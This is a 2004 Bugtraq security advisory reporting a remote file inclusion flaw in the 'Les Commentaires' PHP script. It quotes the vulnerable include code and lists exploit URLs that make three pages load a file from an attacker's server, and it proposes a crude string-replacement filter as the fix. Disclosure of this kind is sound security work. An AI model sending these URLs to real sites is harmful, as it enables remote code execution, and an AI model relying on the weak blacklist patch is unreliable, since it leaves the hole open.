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Date: 3 Feb 2004 20:30:54 -0000
From: Himeur Nourredine <lostnoobs@...urity-challenge.com>
To: bugtraq@...urityfocus.com
Subject: Les Commentaires (PHP) Include file
Informations :
같같같같같같같
Website : http://www.phpscripts-fr.net
Version : all
Problem : Include file
PHP Code/Location :
같같같같같같같같같�
config/fonctions.lib.php
derniers_commentaires.php
admin.php
------------------------------------------------------------------
if (!isset($rep)) $rep = './';
require_once($rep.'config/fonctions.lib.php');
require_once($rep.'langues/'.$langue.'.lang.php');
------------------------------------------------------------------
Exploit :
같같같같�
http://[target]/config/fonctions.lib.php?rep=http://[attacker]/file.ext%3f
http://[target]/derniers_commentaires.php?rep=http://[attacker]/file.ext%3f
http://[target]/admin.php?rep=http://[attacker]/file.ext%3f
(the same but in local with = /langues/'.$langue.'.lang.php )
Patch :
같같같�
You must to put a filter on the variable $rep and $langue.
like=
$rep= str_replace("..","lol",$rep);
AND
$rep= str_replace("://","lol",$rep);
(same with $langue)
Nourredine Himeur
www.security-challenge.com
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